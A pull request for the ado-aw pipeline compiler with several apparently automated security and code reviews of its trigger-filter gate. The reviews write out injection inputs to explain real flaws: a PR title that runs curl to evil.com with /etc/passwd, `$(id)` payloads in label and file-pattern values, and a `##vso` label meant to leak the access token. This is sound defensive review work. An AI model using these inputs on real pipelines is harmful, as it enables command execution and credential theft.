feat(compile)!: trigger filter IR with data-driven Python evaluator

[jamesadevine]

Summary

Adds a complete trigger filter compilation system to ado-aw. Pipeline authors can configure runtime filters under on.pr.filters and on.pipeline.filters that evaluate at pipeline runtime and self-cancel the build if conditions aren't met.

This is a breaking change — the triggers: top-level key is renamed to on:, and schedule: moves under on:.

Architecture

Three-Pass Filter IR (src/compile/filter_ir.rs)

Filter compilation follows a formal IR pipeline:

1. Lower — PrFilters / PipelineFilters → Vec<FilterCheck> (typed predicates over typed facts)
2. Validate — detect conflicts at compile time (min>max, include∩exclude overlap, zero-width time windows, label contradictions, HH:MM format)
3. Codegen — GateContext + Vec<FilterCheck> → JSON gate spec + bash step referencing external evaluator

Data-Driven Python Evaluator (scripts/gate-eval.py)

All filter logic lives in a generic Python evaluator, not inline bash. The compiled pipeline YAML contains:

• A download step that fetches scripts.zip from the ado-aw release
• A gate step that passes a base64-encoded JSON spec via env: block and invokes python3 gate-eval.py

The evaluator handles: build-reason bypass, fact acquisition (env vars, REST API, datetime), predicate evaluation (glob, equality, set membership, numeric range, time window, labels, file globs, and/or/not), failure policies, ADO logging commands, and self-cancel.

TriggerFiltersExtension (src/compile/extensions/trigger_filters.rs)

A CompilerExtension that activates when any filters: configuration is present. Uses the new setup_steps() trait method to inject into the Setup job (distinct from prepare_steps() which injects into the Execution job). Handles validation, download step generation, and gate step generation.

JSON Schema (scripts/gate-spec.schema.json)

Generated from Rust types via schemars — the formal contract between the compiler and the Python evaluator.

Front Matter Syntax

Glob patterns (* any chars, ? single char) — no regex escaping needed:

on:
  schedule: daily around 14:00
  pr:
    branches:
      include: [main]
    filters:
      title: "*[review]*"
      author:
        include: ["alice@corp.com"]
      source-branch: "feature/*"
      target-branch: "main"
      labels:
        any-of: ["run-agent"]
      draft: false
      time-window:
        start: "09:00"
        end: "17:00"
      min-changes: 1
      max-changes: 500
  pipeline:
    name: "Build Pipeline"
    filters:
      source-pipeline: "Build*"

Migration

# Before
schedule: daily around 14:00
triggers:
  pipeline:
    name: Build

# After
on:
  schedule: daily around 14:00
  pipeline:
    name: Build

Key Design Decisions

• Single codegen path — all filters go through the Python evaluator (no inline bash). One path, one set of semantics, one thing to test.
• Glob over regex — title: "*[review]*" not title: { match: "\\[review\\]" }. Aligned with gh-aw's exact-match approach.
• env: block over bash exports — ADO variables passed via step env: block, preventing injection via PR title/branch values.
• Fact/Predicate separation — data acquisition is modeled separately from boolean tests, with explicit failure policies per fact.
• Kahn's topo-sort — fact dependency ordering uses proper topological sort, not enum variant order.
• Scripts as release artifacts — gate-eval.py ships alongside ado-aw binary, downloaded from deterministic version URL.

Files Changed

New files

• src/compile/filter_ir.rs — Filter IR: Fact, Predicate, spec types, lowering, validation, codegen
• src/compile/extensions/trigger_filters.rs — TriggerFiltersExtension
• scripts/gate-eval.py — Python gate evaluator
• scripts/gate-spec.schema.json — JSON Schema for gate spec
• docs/filter-ir.md — IR specification
• tests/gate_eval_tests.py — 40 Python evaluator tests
• tests/fixtures/pr-filter-tier1-agent.md — Tier 1 filter fixture
• tests/fixtures/pr-filter-tier2-agent.md — Tier 2 filter fixture
• tests/fixtures/pipeline-filter-agent.md — Pipeline filter fixture

Modified files

• src/compile/pr_filters.rs — reduced to native PR trigger + helpers (gate generation moved to extension)
• src/compile/common.rs — generate_setup_job() accepts extensions + context, generate_agentic_depends_on() handles dual gates
• src/compile/types.rs — PatternFilter (glob, #[serde(transparent)]), pipeline_filters() accessor
• src/compile/extensions/mod.rs — setup_steps() trait method, TriggerFilters variant in Extension enum
• .github/workflows/release.yml — uploads scripts.zip as release artifact
• AGENTS.md — architecture tree updated
• docs/front-matter.md — on: syntax, validation errors, filter behavior notes
• docs/extending.md — complete trait listing, setup_steps() docs

Test Coverage

• 1052 Rust tests (unit + integration) — all pass
• 40 Python evaluator tests — all 11 predicate types, bypass logic, failure policies
• 8 integration tests — fixture compilation, YAML validity, gate step assertions

[github-actions]

🔍 Rust PR Review

Summary: Has concerns — two correctness/security issues need addressing before merge.

Findings

🐛 Bugs / Logic Issues

• [common.rs, generate_pr_gate_step] Unimplemented filters parsed but silently no-op'd — PrFilters has draft, labels, and changed_files fields that are fully deserialized, but generate_pr_gate_step only handles title, author, source_branch, and target_branch. Configuring any of the unimplemented fields will silently have no effect. A user who writes filters: { draft: false } expecting to block draft PRs will get a gate that always passes. The compiler should emit a compile-time warning (or error) for each unimplemented filter field that is set.

🔒 Security Concerns

• [common.rs, generate_pr_gate_step] Shell injection via ADO variable expansion into bash — This is the most critical issue. The generated bash script uses $(System.PullRequest.Title), $(Build.RequestedForEmail), $(System.PullRequest.SourceBranch), and $(System.PullRequest.TargetBranch) directly inside double-quoted bash strings:

  TITLE="$(System.PullRequest.Title)"

  ADO expands $(...) variable references before handing the script to bash — it's a literal text substitution with no escaping. A PR titled "; curl (evil.com/redacted) /etc/passwd) # becomes:

  TITLE=""; curl (evil.com/redacted) /etc/passwd) #"

  The shell_escape function only protects the compile-time pattern strings (from front matter), not these runtime ADO variable values. The fix is to pass all runtime ADO values through the env: block so bash receives them as properly-scoped environment variables, never as raw text substitution:

  - bash: |
      TITLE="$ADO_PR_TITLE"
      if echo "$TITLE" | grep -qE '{{ pattern }}'; then ...
    env:
      ADO_PR_TITLE: $(System.PullRequest.Title)
      ADO_AUTHOR: $(Build.RequestedForEmail)
      ADO_SOURCE_BRANCH: $(System.PullRequest.SourceBranch)
      ADO_TARGET_BRANCH: $(System.PullRequest.TargetBranch)

  The step.push_str(" env:\n SYSTEM_ACCESSTOKEN: $(System.AccessToken)"); block at the end of generate_pr_gate_step already shows the right pattern — the same technique needs to be applied to all four PR metadata variables.

• [common.rs, generate_pr_gate_step] System.AccessToken used for build cancellation — The generated step authenticates the cancel API call with SYSTEM_ACCESSTOKEN: $(System.AccessToken). AGENTS.md explicitly states: "System.AccessToken is never used — all ADO tokens come from explicitly configured service connections." Beyond the policy violation, System.AccessToken's permissions are pipeline-dependent and may not include build cancellation rights, making the cancel call silently fail (the build continues running rather than being cancelled). This should either require permissions.write to be configured and use SC_WRITE_TOKEN, or be documented as a known limitation with a compile-time warning when permissions.write is absent.

⚠️ Suggestions

• [common.rs, generate_pr_trigger] unwrap() calls safe but fragile — The early-return block:

  if has_pr_trigger {
      return generate_native_pr_trigger(triggers.as_ref().unwrap().pr.as_ref().unwrap());
  }

  Both unwraps are logically sound (they're guarded by the has_pr_trigger check), but consider using if let Some(pr_config) = triggers.as_ref().and_then(|t| t.pr.as_ref()) to make the safety self-evident and avoid any future refactor hazard.

• [common.rs, generate_agentic_depends_on] Condition YAML uses \x20 escape — The inline condition string uses \x20 (ASCII space) for indentation. This works but is unusual and harder to read than a raw space or an indentation helper. Not a bug, but worth tidying.

✅ What Looks Good

• shell_escape for compile-time pattern values is correctly designed: allowlist-based with no dangerous characters permitted, and the regex-meaningful characters are preserved. The approach and test coverage for it are solid.
• The overall gate architecture (Setup job injection, isOutput=true variable, dependsOn condition for the Agent job) is well-reasoned and reuses existing infrastructure cleanly.
• The PrTriggerConfig type hierarchy with SanitizeConfigTrait impls is consistent with the rest of the types module.
• Test coverage is thorough for the implemented paths (11 type tests + 15 gate/integration tests).

Generated by Rust PR Reviewer for issue #345 · ● 540.4K · ◷

[github-actions]

🔍 Rust PR Review

Summary: Good architectural design with two bugs that need fixes before merging — one logic error in API error handling and one bash quoting issue that will cause silent failures.

---

Findings

🐛 Bugs / Logic Issues

1. generate_api_preamble: empty PR_DATA never triggers the warning (src/compile/pr_filters.rs, generate_api_preamble)

The bash condition is:

if [ -z "$PR_DATA" ] || echo "$PR_DATA" | python3 -c "..."; [ $? -ne 0 ] 2>/dev/null; then

Trace through the empty-PR_DATA case:

• [ -z "$PR_DATA" ] → exit 0 (true) → || short-circuits, overall exit 0
• $? = 0 → [ 0 -ne 0 ] → exit 1 → if body is never entered

The warning is therefore only emitted when PR_DATA is non-empty AND invalid JSON. When curl returns nothing (network failure, auth denied, etc.) the code silently proceeds, and every downstream label/draft/changed-files check silently falls back via || echo ''. This defeats the entire Tier 2 error path.

The intended logic is if empty OR invalid then warn. Fix:

if [ -z "$PR_DATA" ] || ! echo "$PR_DATA" | python3 -c "import sys,json; json.load(sys.stdin)" 2>/dev/null; then
    echo "##[warning]Failed to fetch PR data from API — skipping API-based filters"
fi

---

2. Python list double-quotes break bash string in generate_changed_files_check (src/compile/pr_filters.rs, lines ~904–966)

Patterns are wrapped in Rust format!("\"{}\"", shell_escape(p)), producing literal " characters. They're assembled into a Python list like ["src/**/*.rs", "docs/**"]. This list is then substituted into:

FILES_MATCH=$(echo "$CHANGED_FILES" | python3 -c "
import sys, fnmatch
includes = ["src/**/*.rs"]   ← inner " closes the outer bash " here
...
" 2>/dev/null || echo 'true')

The bash double-quote wrapping the entire -c argument is broken by the inner " characters of the Python list literal. Any use of changed-files filters will produce a bash syntax error at runtime (likely unexpected token from bash's view of the mangled command).

Fix: use single-quoted Python strings 'pattern' instead of double-quoted, or switch to python3 << 'EOF' ... EOF here-doc. Single quotes are safe because shell_escape strips ' from patterns (it's not in the allowlist), so there's no escaping conflict.

---

🔒 Security Concerns

3. Label names with spaces are silently split in for loops (generate_labels_check)

shell_escape allows the space character (' ' is in the matches! arm). Label names with spaces are joined with spaces for the for loop:

for REQUIRED_LABEL in run-agent my label; do   ← "my" and "label" are separate iterations

A user-specified label "needs review" becomes two separate loop values needs and review, meaning a PR with label "needs review" would not match. This is a silent false-positive (gate passes when it shouldn't block, or vice versa). Fix: remove ' ' from shell_escape's allowlist, or quote each label individually in the generated bash.

---

⚠️ Suggestions

4. Double unwrap() is safe but fragile (src/compile/common.rs, generate_pr_trigger, line ~28)

if has_pr_trigger {
    return super::pr_filters::generate_native_pr_trigger(
        triggers.as_ref().unwrap().pr.as_ref().unwrap()
    );
}

Both unwrap() calls are statically safe here because has_pr_trigger being true guarantees both are Some. But an if let Some(t) = triggers { if let Some(pr) = &t.pr { return ...(pr); } } pattern makes the invariant explicit and survives future refactors (e.g., if has_pr_trigger derivation is ever changed).

---

✅ What Looks Good

• The two-tier filter architecture (pipeline variables vs. REST API) is clean and the lazy API fetch (only when Tier 2 filters are present) is well-structured.
• shell_escape using an allowlist (not a blocklist) is the right approach — strip-by-default is safe.
• The non-PR build bypass (Build.Reason != PullRequest → exit 0) is correctly placed before any filter evaluation, preventing false gate blocks on manual/scheduled runs.
• SanitizeConfigTrait is correctly wired through all new types in types.rs.
• The add_condition_to_steps approach for conditioning user setup steps on gate output is clean and composable.
• The 26-test coverage is comprehensive; the Tier 2 tests especially cover the important edge cases.

Generated by Rust PR Reviewer for issue #345 · ● 1.3M · ◷

[github-actions]

🔍 Rust PR Review

Summary: Solid architecture with well-structured code, but three bugs and one security concern worth addressing before merge.

---

Findings

🐛 Bugs / Logic Issues

• src/compile/pr_filters.rs — generate_api_preamble: warning not triggered when PR_DATA is empty

  The bash guard condition is structured as two sequential commands:

  [ -z "$PR_DATA" ] || echo "$PR_DATA" | python3 ...; [ $? -ne 0 ]

  In bash, if cmd1; cmd2; then uses cmd2's exit status as the condition. When PR_DATA is empty, cmd1 exits 0 (the -z branch succeeds), so $? = 0, and [ 0 -ne 0 ] is false — the warning is never printed. The intent was clearly "warn if empty or invalid JSON", but the empty case is silently swallowed. A simpler fix:

  if [ -z "$PR_DATA" ] || ! echo "$PR_DATA" | python3 -c "import sys,json; json.load(sys.stdin)" 2>/dev/null; then

• src/compile/pr_filters.rs — add_condition_to_steps silently overwrites existing condition keys

  If a user's setup step already has a condition: field, the map.insert(...) call replaces it unconditionally. A setup step like condition: always() would be silently replaced with eq(variables['prGate.SHOULD_RUN'], 'true'), changing behavior in a non-obvious way. The fix is to check for the existing key first, or merge conditions with and(...).

• src/compile/pr_filters.rs — Labels with spaces break for-loop word splitting

  In generate_labels_check, label values from any_of/all_of/none_of are joined with spaces and used in:

  for REQUIRED_LABEL in run-agent my label; do

  The label "my label" (space-containing, valid in ADO) is split by the shell into two tokens "my" and "label". The shell_escape function explicitly allows spaces (' '), so this slips through. Labels should be quoted in the loop, or the check should use a different mechanism (e.g., an array or newline-delimited variable).

🔒 Security Concerns

• src/compile/pr_filters.rs / src/compile/common.rs — expression escape hatch: newlines survive sanitize_config

  The expression field is sanitized with sanitize_config, which preserves \n by design. The generated YAML is:

  condition: |
    and(
      succeeded(),
      {expression}
    )

  A newline in expression won't break the YAML literal block scalar (it's valid content), but it does let a user inject multi-line content into the condition string that ADO evaluates. Since the condition string is just text to ADO's expression parser this is lower risk, but a \n followed by ##vso[ would be neutralized by sanitize_config. The main residual risk is a crafted expression that satisfies the and() semantics in unexpected ways. Consider documenting the allowed character set or adding an explicit allowlist for this field similar to shell_escape.

⚠️ Suggestions

• src/compile/common.rs:218 — double unwrap() on a known-Some path

  return super::pr_filters::generate_native_pr_trigger(
      triggers.as_ref().unwrap().pr.as_ref().unwrap()
  );

  Both unwraps are safe given the preceding has_pr_trigger guard, but the idiomatic form avoids any future refactoring hazard:

  if let Some(pr) = triggers.as_ref().and_then(|t| t.pr.as_ref()) {
      return super::pr_filters::generate_native_pr_trigger(pr);
  }

• src/compile/types.rs — TimeWindowFilter::start/end are unvalidated

  No HH:MM format check is performed at compile time. A value like "9am" passes deserialization and reaches the generated bash as a variable in an arithmetic expression ($((10#$START_H * 60 + ...))), which would fail silently with 0 for all values. A validation function in sanitize_config_fields (similar to how branch names are validated elsewhere) would catch this early.

• PR description vs. implementation scope mismatch — The description says "Phase 1 — Tier 1 filters (this PR)" but Tier 2 (labels, draft, changed-files) and Tier 3 (time-window, min/max-changes, build-reason, expression) are all fully implemented. The test plan references 26 new tests covering all tiers. This is fine from an implementation standpoint but the description should be updated to reflect the actual scope to avoid confusion for reviewers and changelog readers.

✅ What Looks Good

• shell_escape is a strict allowlist (not a blocklist) and correctly excludes single quotes, backticks, semicolons, and $ — the Tier 1 patterns used in single-quoted grep -qE '...' are safe from shell injection.
• Reusing the existing Setup job infrastructure for gate injection is clean; the "non-PR builds bypass gate automatically" pattern (checking $Build.Reason first) is the right design.
• The PrFilters / PrTriggerConfig types follow project conventions correctly: Option<T> fields, #[serde(default)], proper SanitizeConfigTrait impls on all nested types.
• The tier-2 API preamble is correctly gated with has_tier2_filters() so the SYSTEM_ACCESSTOKEN isn't used unless needed.

Generated by Rust PR Reviewer for issue #345 · ● 1.2M · ◷

[github-actions]

🔍 Rust PR Review

Summary: needs changes — two command injection vulnerabilities and three correctness bugs in the generated bash, all confirmed with PoCs.

---

Findings

🔒 Security Concerns

1. src/compile/pr_filters.rs — Command injection in generate_labels_check

shell_escape permits $, (, and ) (needed for regex metacharacters), but label values are placed unquoted in a for loop:

for REQUIRED_LABEL in run-agent $(id); do   # $(id) executes!

A label value of $(malicious) passes shell_escape unchanged and executes at pipeline runtime. The PoC for REQUIRED_LABEL in $(id); do was confirmed to run id.

Fix: Quote the loop variable and use a bash array, or switch to a newline-delimited approach:

REQUIRED_LABELS="run-agent
needs-review"
while IFS= read -r REQUIRED_LABEL; do ...
done <<< "$REQUIRED_LABELS"

2. src/compile/pr_filters.rs — Command injection in generate_changed_files_check

Changed-file patterns (with $, (, ) allowed by shell_escape) are embedded directly into a python3 -c "..." double-quoted bash string. Inside a double-quoted string, $(...) is expanded by bash before python ever sees it.

# pattern = "$(id)" passes shell_escape unchanged
FILES_MATCH=$(echo "$CHANGED_FILES" | python3 -c "
includes = ["$(id)"]   # bash expands $(id) here
...

Confirmed: $(id | cut -d= -f1) embedded in the pattern was executed and returned uid.

Fix: Write patterns to a temp file or pass them via environment variables, never via interpolation into a double-quoted python3 -c invocation.

---

🐛 Bugs / Logic Issues

3. src/compile/pr_filters.rs:generate_time_window_check — Generated bash is syntactically broken

The Rust format string " START_H=${{{}%%:*}}\n" with start = "09:00" produces:

START_H=${09:00%%:*}   # NOT a valid variable expansion
```

`${09:00%%:*}` treats `$9` (positional param) with colon operators — it does not parse the time string. In practice `START_H` is set to empty, and `$((10#$START_H * 60))` then aborts with `invalid integer constant`.

Confirmed:
```
bash: line 7: 10#: invalid integer constant
START_MINUTES=

Fix: Assign the literal time to a named shell variable first, then apply parameter expansion:

_START_TIME="{start}"
START_H=${_START_TIME%%:*}
START_M=${_START_TIME##*:}

4. src/compile/pr_filters.rs:generate_api_preamble — Inverted guard misses empty PR_DATA

The generated bash is:

if [ -z "$PR_DATA" ] || echo "$PR_DATA" | python3 ...; [ $? -ne 0 ] 2>/dev/null; then
  echo "##[warning]Failed to fetch PR data..."
fi

When PR_DATA is empty (i.e., the curl failed): [ -z "" ] exits 0, the || short-circuits, $? is 0, so [ 0 -ne 0 ] is false — the warning is never emitted and the downstream filters silently read empty data.

Confirmed — running the exact generated condition with PR_DATA="" outputs No warning (BUG if PR_DATA empty).

Fix:

if [ -z "$PR_DATA" ] || ! echo "$PR_DATA" | python3 -c "import sys,json; json.load(sys.stdin)" 2>/dev/null; then
```

**5. `src/compile/pr_filters.rs:generate_change_count_check` — `grep -c . || echo '0'` produces double output**

When `CHANGED_FILES` is empty, `grep -c .` exits 1 **and** outputs `0` to stdout, then `|| echo '0'` also fires, producing `FILE_COUNT="0\n0"`. The subsequent `[ "$FILE_COUNT" -ge N ]` fails with `integer expression expected`.

Confirmed:
```
FILE_COUNT=[0
0]
bash: [: 0↵0: integer expression expected

Fix: Rely on grep's own zero-count output; suppress the error exit without adding a second 0:

FILE_COUNT=$(echo "$CHANGED_FILES" | grep -c . 2>/dev/null; true)

Or use wc -l which always exits 0.

---

✅ What Looks Good

• The tier 1/2/3 filter architecture is clean and well-structured.
• Single-quoted grep -qE 'PATTERN' in title/branch/author checks is safe from shell expansion — shell_escape is correctly applied for those contexts.
• SanitizeConfigTrait is consistently implemented across all new types, keeping YAML-embedded values clean.
• Non-PR bypass (Build.Reason != PullRequest) correctly prevents the gate from blocking CI/scheduled runs.
• Test coverage is solid; the 15 integration tests cover the happy paths well. Tests for bugs 3–5 would be good additions.

Generated by Rust PR Reviewer for issue #345 · ● 1.6M · ◷

[github-actions]

🔍 Rust PR Review

Summary: Needs changes — the IR architecture is solid but three correctness bugs and one security concern need attention before merge.

Findings

🐛 Bugs / Logic Issues

• filter_ir.rs — Predicate::TimeWindow codegen generates invalid bash
  shell_escape(start) returns the literal time string (e.g., "09:00"), which is then formatted into ${09:00%%:*}. This is not a valid bash parameter expansion — ${...%%:*} requires a variable name, not a literal value. At runtime every pipeline with a time-window filter will fail with a bash syntax error. Fix: parse hours/minutes in Rust at compile time and emit literal integers:

  // Instead of using shell_escape + bash expansion:
  let (start_h, start_m) = parse_hhmm(start)?;  // "09:00" → (9, 0)
  out.push_str(&format!("    START_MINUTES=$(({} * 60 + {}))\n", start_h, start_m));

• filter_ir.rs — Fact::ChangedFileCount missing dependency declaration
  Fact::ChangedFileCount::dependencies() returns &[], but its acquisition_bash() unconditionally reads $CHANGED_FILES. If someone reorders the Fact enum (which drives BTreeSet iteration order via PartialOrd/Ord), FILE_COUNT will always be 0 because ChangedFiles hasn't been acquired yet. This works today only by accident. Fix: return &[Fact::ChangedFiles].

• filter_ir.rs — Fact::PrMetadata failure check is inverted
  The generated bash is:

  if [ -z "$PR_DATA" ] || echo "$PR_DATA" | python3 -c "..." 2>/dev/null; [ $? -ne 0 ] 2>/dev/null; then
    echo "##[warning]Failed to fetch PR data..."
  fi

  The semicolon ; terminates the if condition before [ $? -ne 0 ]. So the if body runs when $PR_DATA is empty or when JSON parsing succeeds (exit 0). The warning fires on good data and is silently swallowed on bad data. Fix: use if ! (echo "$PR_DATA" | python3 -c "import sys,json; json.load(sys.stdin)" 2>/dev/null); then.

🔒 Security Concerns

• filter_ir.rs — ##vso[...] ADO command injection via PR label and changed-files echo
  Two places echo user-controlled runtime data directly to stdout:

  # PrLabels acquisition:
  echo "PR labels: $PR_LABELS"
  # ChangedFiles acquisition:
  echo "Changed files: $(echo "$CHANGED_FILES" | head -20)"

  Azure Pipelines processes ##vso[...] patterns in any stdout line. A PR author could create a label named ##vso[task.setvariable variable=SYSTEM_ACCESSTOKEN;issecret=false]leaked to exfiltrate the bearer token via pipeline logs. Fix: pipe through sed 's/##/[[/g' or similar before echoing, or simply omit the diagnostic echo for API-sourced data.

⚠️ Suggestions

• filter_ir.rs — Predicate::Equality value not shell-escaped
  In emit_predicate_check, value is embedded unescaped into [ "$var" = "VALUE" ]. Currently only used for draft status ("true"/"false") so it's safe, but the pattern will silently misbehave if future callers pass user-provided strings. Consider routing value through shell_escape() for consistency.

• types.rs — PipelineTrigger silently dropped SanitizeConfig derive
  The diff shows PipelineTrigger changed from #[derive(..., SanitizeConfig)] to manual impl omitted. If that's intentional (manual SanitizeConfigTrait impl added elsewhere), ignore this. If it was accidentally dropped, input sanitization for pipeline trigger fields would be silently skipped.

✅ What Looks Good

• The three-pass Lower → Validate → Codegen architecture is clean and makes the intent auditable.
• Compile-time conflict detection (min > max, zero-width time window, include/exclude overlap) is a meaningful safety improvement over the previous approach.
• ChangedFiles correctly uses path.lstrip('/') to normalize ADO's leading-slash paths before fnmatch.
• shell_escape correctly blocks # (preventing ##vso[ injection through user-supplied regex patterns).
• Fact dependency ordering via BTreeSet<Fact: Ord> is an elegant shortcut, though the ChangedFileCount case shows it needs explicit declaration to be reliable.

Generated by Rust PR Reviewer for issue #345 · ● 1M · ◷

[github-actions]

🔍 Rust PR Review

Summary: Strong architectural improvement with two real bugs that need fixing before merge.

Findings

🐛 Bugs / Logic Issues

• src/compile/common.rs + src/compile/pr_filters.rs — validation errors silently swallowed

  Both generate_pr_gate_step and generate_pipeline_gate_step return a # FILTER ERROR: ... comment string when validate_*_filters produces errors. The callers (generate_setup_job → compile_shared) return String, not Result<String>, so compilation continues and the broken comment string is emitted as-is (not a valid YAML step). A user with conflicting filters (e.g. min-changes: 100, max-changes: 5) will silently get a broken pipeline instead of a compile error.

  Fix: change generate_setup_job to return Result<String>, propagate it through compile_shared, and bail on validation errors rather than embedding them as comments.

• src/compile/common.rs:1219 — user setup steps conditioned on wrong gate when both PR + pipeline filters are active

  let gate_var = if pr_filters.is_some() {
      "prGate.SHOULD_RUN"
  } else {
      "pipelineGate.SHOULD_RUN"
  };

  When both PR and pipeline filters exist, user setup steps are conditioned solely on prGate.SHOULD_RUN. On a pipeline-completion build (Build.Reason == ResourceTrigger), the PR gate bypasses itself with SHOULD_RUN=true, so user steps always run—ignoring the pipeline gate result entirely.

  Fix: the condition should be and(eq(variables['prGate.SHOULD_RUN'], 'true'), eq(variables['pipelineGate.SHOULD_RUN'], 'true')) when both are active.

• src/compile/pr_filters.rs:17-29 — generate_native_pr_trigger returns empty string for PR-only trigger, but the docstring says it "overrides suppression"

  When on.pr: is set with filters: only (no branches:/paths:), generate_native_pr_trigger returns "", which causes the template to emit no pr: block. This is actually correct ADO behavior (default = all branches), but the comment // Explicit triggers.pr overrides schedule/pipeline suppression is wrong — an empty return does not override suppression when combined with a pipeline trigger. The match on (has_pipeline_trigger, has_schedule) is bypassed entirely, and the empty string replaces what would have been pr: none. This may be intentional, but the comment is misleading and the behavior is surprising.

⚠️ Suggestions

• src/compile/filter_ir.rs — collect_ordered_facts relies on implicit enum declaration order for topological correctness

  fn collect_ordered_facts(checks: &[FilterCheck]) -> Vec<Fact> {
      let mut all_facts = BTreeSet::new();
      // ...
      all_facts.into_iter().collect()  // BTreeSet uses PartialOrd == enum declaration order
  }

  The function is named and documented as "topo-sorted", but the implementation silently relies on the Fact enum variants being declared in dependency order (pipeline vars before PrMetadata, PrMetadata before PrIsDraft/PrLabels). Reordering enum variants could silently break gate step correctness. Consider asserting the order in a test or doing an explicit topological sort.

• src/compile/pr_filters.rs — shell_escape appears to be dead code

  The new architecture embeds all filter logic in the Python evaluator via base64-encoded JSON spec, so raw bash string construction is no longer needed. shell_escape is defined and exported pub(super) but doesn't appear to be called anywhere. Dead code will silently drift from the actual escaping requirements over time.

• src/compile/common.rs:217 — two unwrap() calls on logically-guaranteed Some values

  if has_pr_trigger {
      return super::pr_filters::generate_native_pr_trigger(
          on_config.as_ref().unwrap().pr.as_ref().unwrap()
      );
  }

  Prefer .expect("checked above: has_pr_trigger implies on_config and pr are Some") for clearer intent, or restructure to avoid the double unwrap.

• src/compile/filter_ir.rs:compile_gate_step — expect in non-test path

  let spec_json = serde_json::to_string(&spec).expect("gate spec serialization");

  While serde_json::to_string won't realistically fail on a pure-Rust struct with primitive fields, using expect (panic) in library code is a yellow flag. The function already returns String; since compile_gate_step is called from generate_setup_job which could return Result, this is another reason to thread Result through the call chain.

• src/data/gate-eval.py:file_glob_match — edge case with empty changed-file list

  for f in files:
      ...
  return not bool(includes)  # no includes = match everything not excluded

  When files is empty and includes is non-empty, this returns False (correct: no file matched the include pattern). But when files is empty and only excludes are set, this returns True (no files = nothing excluded = pass). This may or may not be the desired semantics — worth a comment clarifying the intent for zero-change PRs.

• src/compile/types.rs tests — fixtures use old triggers: key

  Test YAML uses triggers.pr.filters but the actual front-matter key is now on:. The test parses val["triggers"] directly as OnConfig, so it works, but it will confuse future maintainers into thinking triggers: is still valid syntax.

✅ What Looks Good

• Three-pass IR architecture is clean and well-separated; the Fact/Predicate/FilterCheck types make the semantics explicit and extensible.
• Python gate evaluator approach (base64 spec + embedded evaluator) is a good call — it moves complexity out of bash string manipulation and into a testable, readable Python module.
• Compile-time validation for conflicting filters (min > max, zero-width windows, include/exclude overlaps) is exactly the right place to catch user errors.
• Test coverage is solid: unit tests for every lowering case, validation case, and codegen structural property.
• generate_agentic_depends_on correctly handles the bypass condition (ne(Build.Reason, 'PullRequest')) so non-PR builds aren't blocked by the gate.

Generated by Rust PR Reviewer for issue #345 · ● 2.4M · ◷

[github-actions]

🔍 Rust PR Review

Summary: Solid architecture with well-structured IR, but has one functional bug, one silent data-loss bug, and a security gap in the expression escape-hatch fields.

Findings

🐛 Bugs / Logic Issues

• filter_ir.rs:102 — ChangedFileCount.dependencies() returns &[], breaking min_changes/max_changes

  collect_ordered_facts builds the GateSpec.facts list from declared dependencies. Since ChangedFileCount.dependencies() is empty, ChangedFiles is never emitted into the spec when only min_changes/max_changes is configured — no FileGlobMatch predicate references ChangedFiles directly. At runtime, gate-eval.py:59-61 does:

  files = acquired.get("changed_files", [])   # ← always [] when the fact was never acquired
  return len(files) if isinstance(files, list) else 0

  So min_changes: 5 on a 50-file PR will see 0 files and always fail. The comment // may come from ChangedFiles or fresh fetch acknowledges the intent of a fresh-fetch path, but that path doesn't exist in the evaluator.

  Fix: Change Fact::ChangedFileCount.dependencies() to return &[Fact::ChangedFiles].

• compile/common.rs:320 — pr_expression.or(pipeline_expression) silently drops pipeline expression

  let expression = pr_expression.or(pipeline_expression);

  If both on.pr.filters.expression and on.pipeline.filters.expression are set simultaneously (valid config when both PR and pipeline triggers are configured), pipeline_expression is silently discarded. Both expressions should be AND-ed together, or the compiler should reject the combination with a clear diagnostic.

• filter_ir.rs:249 — FailClosed for PrIsDraft is never enforced when the API is unavailable

  PrMetadata has FailurePolicy::SkipDependents. When it fails, PrIsDraft is added to skip_facts. In gate-eval.py:297-300, checks whose facts are in skip_facts are skipped (not failed). This means a user who sets draft: false to ensure only non-draft PRs run the agent gets silent pass-through if the ADO REST API is down. The FailClosed label on PrIsDraft is effectively a lie. At minimum, the code comments should document this behavior; ideally the spec should carry a propagate_skip_as_fail flag per-check.

🔒 Security Concerns

• compile/types.rs — expression fields bypass injection validation

  PrFilters::expression and PipelineFilters::expression are raw ADO condition strings injected verbatim into the condition: YAML field. In validate_front_matter_identity, reject_pipeline_injection is called on on.pipeline.name/project/branches but not on either expression field. Only sanitize_config is applied (in SanitizeConfigTrait), which is not designed to block ADO template injection (${{ }}) or ##vso[ command sequences. Any caller with write access to the agent markdown file can inject arbitrary ADO expressions into the job condition.

  Fix: Add validate::reject_pipeline_injection(expr, "on.pr.filters.expression")?; (and the pipeline equivalent) in validate_front_matter_identity.

⚠️ Suggestions

• filter_ir.rs:1178, 1402 — .expect() in the compilation hot path

  let spec_json = serde_json::to_string(&spec).expect("gate spec serialization");

  While serde_json serialization of these types is practically infallible, the project convention is anyhow::Result throughout. Both compile_gate_step and compile_gate_step_external return String, not Result<String>, which forces expect. Consider changing the return type to anyhow::Result<String> and propagating errors, consistent with generate_schedule and peers.

• filter_ir.rs:131-229 — Fact::acquisition_bash() appears to be dead code

  grep finds no callers: compile_gate_step uses the Python evaluator; compile_gate_step_inline uses fact_inline_var(). This 100-line method generating bash acquisition snippets is likely a leftover from an earlier design. It should be removed or #[allow(dead_code)]-annotated with a comment explaining when it's intended to be used.

• filter_ir.rs:1471-1479 — Topological ordering relies on enum variant order without documentation

  collect_ordered_facts uses BTreeSet<Fact> whose ordering is the derived Ord (enum discriminant). The sort happens to be correct because dependents (PrIsDraft, PrLabels) have higher discriminants than PrMetadata. This is fragile — a new Fact variant inserted in the wrong position would silently break ordering. Add a comment like // Fact is #[derive(Ord)] — variants must be ordered: deps before dependents near the enum definition, or replace with an explicit topo-sort.

• filter_ir.rs:1132-1135 — FactSpec.id is always equal to FactSpec.kind

  id: f.kind().into(),
  kind: f.kind().into(),

  Both fields are always identical. The Python evaluator uses fact_spec["id"] as the dict key and fact_spec["kind"] for dispatch. This is redundant; either collapse to one field or document why they diverge.

• types.rs new tests (lines ~390-540 in diff) — deserialize using triggers: key, not on:

  The new deserialization tests construct triggers: ... YAML and parse val["triggers"] directly into OnConfig. This bypasses the #[serde(rename = "on")] on FrontMatter::on_config and doesn't test that the rename actually works end-to-end. Only test_pr_trigger_in_full_front_matter exercises the real field name. The other tests should be updated to use on: to provide real regression coverage for the breaking rename.

✅ What Looks Good

